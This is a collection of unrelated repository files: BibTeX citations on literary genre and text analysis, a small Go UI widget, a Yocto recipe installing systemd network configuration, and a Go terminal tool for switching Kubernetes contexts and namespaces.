    title = {ggplot2: Elegant Graphics for Data Analysis},
    publisher = {Springer New York},
    year = {2009},
    Series = {\url{http://had.co.nz/ggplot2/book}},
  }

@article{scikit-learn,
 title={Scikit-learn: Machine Learning in {P}ython},
 author={Pedregosa, F. and Varoquaux, G. and Gramfort, A. and Michel, V.
         and Thirion, B. and Grisel, O. and Blondel, M. and Prettenhofer, P.
         and Weiss, R. and Dubourg, V. and Vanderplas, J. and Passos, A. and
         Cournapeau, D. and Brucher, M. and Perrot, M. and Duchesnay, E.},
 journal={Journal of Machine Learning Research},
 volume={12},
 pages={2825--2830},
 year={2011}
}

@misc{underwood:decent,
	Author = {Underwood, Ted},
	Date-Added = {2014-12-18 19:52:37 +0000},
	Date-Modified = {2014-12-18 19:55:16 +0000},
	Howpublished = {\url{http://tedunderwood.com/2013/12/10/a-half-decent-ocr-normalizer-for-english-texts-after-1700/}},
	Keywords = {fiction, genre},
	Month = {October},
	Title = {A Half-Decent {OCR} Normalizer for {E}nglish Texts after 1700},
	Year = {2013}}

@article{derrida:genre,
	Author = {Derrida, Jacques},
	Date-Added = {2014-12-19 15:50:16 +0000},
	Date-Modified = {2014-12-19 16:00:53 +0000},
	Journal = {Critical Inquiry},
	Number = {1},
	Pages = {55-81},
	Title = {The Law of Genre},
	Volume = {7},
	Year = {1980}}

@article{genette:genre,
	Author = {Genette, G\'{e}rard},
	Date-Added = {2014-12-19 15:50:16 +0000},
	Date-Modified = {2014-12-19 16:00:53 +0000},
	Journal = {Po\'{e}tique},
	Pages = {389-421},
	Title = {Genres, 'types', modes},
	Volume = {32},
	Year = {1977}}

@article{biber:typology,
	Author = {Biber, Douglas},
	Date-Added = {2014-12-19 15:50:16 +0000},
	Date-Modified = {2014-12-19 16:00:53 +0000},
	Journal = {Linguistics},
	Pages = {389-421},
	Title = {A Typology of {E}nglish Texts},
	Volume = {27},
	Number = {1},
	Year = {1989}}

@misc{pairtree,
	Author = {Kunze, J. and Haye, M. and Hetzner, E. and Reyes, M. and Snavely, C.},
	Title = {Pairtree for Object Storage},
	Howpublished = {\url{http://tools.ietf.org/html/draft-kunze-pairtree-01}},
	Month = {November},
	Year = {2008}
	}

@misc{underwood:pages,
	Title = {Page-Level Genre Metadata for {E}nglish-Language Volumes in {H}athi{T}rust, 1700-1922},
	Author = {Underwood, Ted},
	Month = {December},
	Year = {2014},
	Howpublished = {\url{http://dx.doi.org/10.6084/m9.figshare.1279201}},
}

@misc{allington:soundcloud,
	Title = {Exploring Genre on {S}ound{C}loud, Part {I}},
	Author = {Allington, Daniel},
	Howpublished = {\url{http://www.open.ac.uk/blogs/vem/2014/06/exploring-genre-on-soundcloud-part-i/}},
	Month = {April},
	Year = {2014},
	Journal = {Valuing Electronic Music}
}

@book{jockers:macroanalysis,
	Title = {Macroanalysis: Digital Methods and Literary History},
	Author = {Jockers, Matthew L.},
	Publisher = {University of Illinois Press},
	Year = {2013}
}

repository: afcarl/genre

repo_name: afcarl/genre


text:
package view

import "github.com/dtylman/gowd"

type Select struct {
	*gowd.Element
}

func NewSelect() *Select {
	s := new(Select)
	s.Element = gowd.NewElement("select")
	return s
}

func (s *Select) AddOption(caption, value string) *gowd.Element {
	option := gowd.NewElement("option")
	option.AddElement(gowd.NewText(caption))
	option.SetAttribute("value", value)
	s.AddElement(option)
	return option
}

repository: dtylman/pictures

repo_name: dtylman/pictures


text:
SUMMARY = "Networkd Configuration Files"
SECTION = "net/config"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"

SRC_URI = " \
    file://75-eth0.network \
    file://75-eth1.network \
    file://75-enp1s0u1.network \
    file://75-enp1s0u2.network \
    file://75-http.dnssd \
"

S = "${WORKDIR}"

do_install() {
    install -m 0755 -d ${D}${sysconfdir}/systemd/network
    install -m 0644 ${S}/75-eth0.network ${D}${sysconfdir}/systemd/network/75-eth0.network
    install -m 0644 ${S}/75-eth1.network ${D}${sysconfdir}/systemd/network/75-eth1.network
    install -m 0644 ${S}/75-enp1s0u1.network ${D}${sysconfdir}/systemd/network/75-enp1s0u1.network
    install -m 0644 ${S}/75-enp1s0u2.network ${D}${sysconfdir}/systemd/network/75-enp1s0u2.network

    install -m 0755 -d ${D}${sysconfdir}/systemd/dnssd
    install -m 0644 ${S}/75-http.dnssd ${D}${sysconfdir}/systemd/dnssd/75-http.dnssd
}

repository: openavr/meta-openavr

repo_name: openavr/meta-openavr

branch_name: refs/heads/main


text:
@article{Wang_2013,
 author = {Wang, M. and Wang, J. and Yin, F. and Tan, Y. and Deng, F. and Chen, X. and Jehle, J. A. and Vlak, J. M. and Hu, Z. and Wang, H.},
 title = {Unraveling the Entry Mechanism of Baculoviruses and Its Evolutionary Implications},
 journal = {Journal of Virology},
 publisher = {American Society for Microbiology},
 year = {2013},
 month = {dec},
 number = {4},
 volume = {88},
 pages = {2301--2311},
 url = {https://doi.org/10.1128%2Fjvi.03204-13},
 doi = {10.1128/jvi.03204-13}
}


text:
package main

import (
	"errors"
	"fmt"
	"io/ioutil"
	"log"
	"net/url"
	"os"
	"reflect"
	"strings"
	"time"

	"github.com/gdamore/tcell"
	"github.com/rivo/tview"
	yaml "gopkg.in/yaml.v2"
	k8s "k8s.io/api/core/v1"
	apierrors "k8s.io/apimachinery/pkg/api/errors"
	v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	_ "k8s.io/client-go/plugin/pkg/client/auth"
	"k8s.io/client-go/tools/clientcmd"
)

type ContextAttribute struct {
	ActiveNamespace string `yaml:"namespace"`
}
type Context struct {
	Name       string           `yaml:"name"`
	Attributes ContextAttribute `yaml:"context"`
}

type config struct {
	ActiveContext string    `yaml:"current-context"`
	Contexts      []Context `yaml:"contexts"`
}

type referenceHelper struct {
	context   string
	namespace string
}

var (
	kubeconfig    config
	expandedNode  *tview.TreeNode
	highlightNode *tview.TreeNode
)

func getNamespacesInContextsCluster(context string) ([]k8s.Namespace, error) {
	config, err := clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
		&clientcmd.ClientConfigLoadingRules{
			ExplicitPath: os.Getenv("KUBECONFIG")},
		&clientcmd.ConfigOverrides{
			CurrentContext: context}).
		ClientConfig()

	if err != nil {
		if reflect.TypeOf(err).String() == "clientcmd.errConfigurationInvalid" {
			return []k8s.Namespace{}, fmt.Errorf("error in config file")
		}

		log.Fatalln(err)
	}

	config.Timeout = 500 * time.Millisecond

	clientset, err := kubernetes.NewForConfig(config)
	if err != nil {
		log.Fatalln(err)
	}

	namespaces, err := clientset.CoreV1().Namespaces().List(v1.ListOptions{})
	if err != nil {
		switch err.(type) {
		case *url.Error:
			return []k8s.Namespace{}, fmt.Errorf("unreachable")
		case *apierrors.StatusError:
			return []k8s.Namespace{}, fmt.Errorf("error from api: " + err.(*apierrors.StatusError).Error())
		default:
			return []k8s.Namespace{}, fmt.Errorf("error")
		}
	}

	return namespaces.Items, nil
}

func switchContext(rh referenceHelper) {
	config, err := clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
		&clientcmd.ClientConfigLoadingRules{
			ExplicitPath: os.Getenv("KUBECONFIG")},
		&clientcmd.ConfigOverrides{}).
		RawConfig()

	if err != nil {
		log.Fatalln(err)
	}

	config.CurrentContext = rh.context
	config.Contexts[rh.context].Namespace = rh.namespace
	configAccess := clientcmd.NewDefaultClientConfigLoadingRules()

	if err := clientcmd.ModifyConfig(configAccess, config, false); err != nil {
		log.Fatalln(err)
	}

	log.Printf("switched to %s/%s", rh.context, rh.namespace)
}

func loadConfig() {
	configContent, err := ioutil.ReadFile(os.Getenv("KUBECONFIG"))
	if err != nil {
		log.Fatalln(err)
	}

	if len(configContent) == 0 {
		log.Fatalln(errors.New("empty configuration file"))
	}

	if err := yaml.Unmarshal(configContent, &kubeconfig); err != nil {
		log.Fatalln(err)
	}
}

func quickSwitch() {
	if len(os.Args) == 1 {
		return
	}

	s := strings.Split(os.Args[1], "/")

	if len(os.Args) == 2 && len(s) == 1 {
		switchContext(referenceHelper{kubeconfig.ActiveContext, os.Args[1]})
		os.Exit(0)
	}

	if len(os.Args) == 2 && len(s) == 2 && contextExists(s[0]) {
		switchContext(referenceHelper{s[0], s[1]})
		os.Exit(0)
	}

	if len(os.Args) == 3 && contextExists(os.Args[1]) {
		switchContext(referenceHelper{os.Args[1], os.Args[2]})
		os.Exit(0)
	}
}

func contextExists(context string) bool {
	for _, ctx := range kubeconfig.Contexts {
		if context == ctx.Name {
			return true
		}
	}

	return false
}

func main() {
	loadConfig()

	if len(os.Args) > 1 {
		quickSwitch()
	}

	app := tview.NewApplication()

	nodeRoot := tview.NewTreeNode("Contexts").
		SetSelectable(false)

	expandedNode = new(tview.TreeNode)
	highlightNode = nodeRoot
	var namespacesInThisContextsCluster []k8s.Namespace
	var getNamespaceError error
	for _, thisContext := range kubeconfig.Contexts {
		nodeContextName := tview.NewTreeNode(" " + thisContext.Name).SetReference(thisContext)

		nodeContextName.Collapse()
		if thisContext.Name == kubeconfig.ActiveContext {
			nodeContextName.SetColor(tcell.ColorGreen).
				SetText(" " + thisContext.Name + " (active)")
		}
		nodeContextName.SetSelectedFunc(func() {
			context := nodeContextName.GetReference().(Context)
			namespacesInThisContextsCluster, getNamespaceError = getNamespacesInContextsCluster(context.Name)
			if getNamespaceError != nil {
				nodeContextName.SetColor(tcell.ColorRed).
					SetText(" " + context.Name + " (" + getNamespaceError.Error() + ")")
				//SetSelectable(false)
			} else if context.Name == kubeconfig.ActiveContext {
				nodeContextName.SetColor(tcell.ColorGreen).
					SetText(" " + context.Name + " (active)")

			} else {
				nodeContextName.SetColor(tcell.ColorTurquoise)
			}
			nodeContextName.SetExpanded(!nodeContextName.IsExpanded())

			if nodeContextName.IsExpanded() && expandedNode != nodeContextName {
				expandedNode.Collapse()
				expandedNode = nodeContextName
			}

			for _, thisNamespace := range namespacesInThisContextsCluster {
				nodeNamespace := tview.NewTreeNode(" " + thisNamespace.Name).
					SetReference(referenceHelper{context.Name, thisNamespace.Name})

				if thisNamespace.Name == context.Attributes.ActiveNamespace {
					nodeNamespace.SetColor(tcell.ColorGreen)
					highlightNode = nodeNamespace
				}

				nodeNamespace.SetSelectedFunc(func() {
					app.Stop()
					switchContext(nodeNamespace.GetReference().(referenceHelper))
				})
				nodeContextName.AddChild(nodeNamespace)
			}
		})

		nodeRoot.AddChild(nodeContextName)

	}

	tree := tview.NewTreeView().
		SetRoot(nodeRoot).
		SetCurrentNode(highlightNode)

	if err := app.SetRoot(tree, true).Run(); err != nil {
		log.Fatalln(err)
	}
}

repository: sebidude/kubeswitch

repo_name: sebidude/kubeswitch